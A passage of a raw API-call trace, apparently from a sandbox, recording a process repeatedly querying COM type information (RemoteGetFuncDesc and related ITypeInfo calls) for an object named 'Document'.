returned 0x4 [0073.144] IUnknown:Release (This=0x28857594370) returned 0xe [0073.144] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0073.144] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271318) returned 0x0 [0073.144] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0073.144] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2885da05710 [0073.144] IUnknown:Release (This=0x2885d2711b8) returned 0x1 [0073.144] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885db9a390 [0073.144] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da05710) [0073.144] ITypeInfo2:GetCustData (in: This=0x2885d2711b8, GUID=0x7ff9bdf05de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xbcb38f6a58 | out: pVarVal=0xbcb38f6a58*(varType=0x0, wReserved1=0xb38f, wReserved2=0xbc, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0073.144] IUnknown:Release (This=0x2885d2711b8) returned 0x2 [0073.144] ITypeInfo:RemoteGetDocumentation (in: This=0x2885d2711b8, memid=-1, refPtrFlags=0xb38f6a50, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f6a70 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xbcb38f6a70*="") returned 0x0 [0073.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xbcb38f6960, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0073.144] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0073.144] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d271268, ppTypeAttr=0xbcb38f6a50, pDummy=0x0 | out: ppTypeAttr=0xbcb38f6a50, pDummy=0x0) returned 0x0 [0073.144] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d271268) returned 0x0 [0073.144] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.144] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.144] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.144] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.144] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.144] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.144] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.144] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.144] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.144] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.144] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xc, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xd, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xe, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xf, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x10, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x11, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x12, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x13, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x14, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x15, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x16, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x17, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x18, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.145] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.145] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x19, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x1f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x20, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x21, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x22, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x23, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x24, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x25, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x26, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x27, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x28, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x29, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.146] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.146] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x2f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x30, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x31, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x32, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x33, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x34, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x35, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x36, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x37, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x38, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x39, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x3f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x40, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.147] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.147] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x41, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x42, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x43, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x44, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x45, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x46, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x47, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x48, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x49, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x4f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x50, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x51, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x52, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x53, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x54, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.148] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.148] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x55, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x56, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x57, 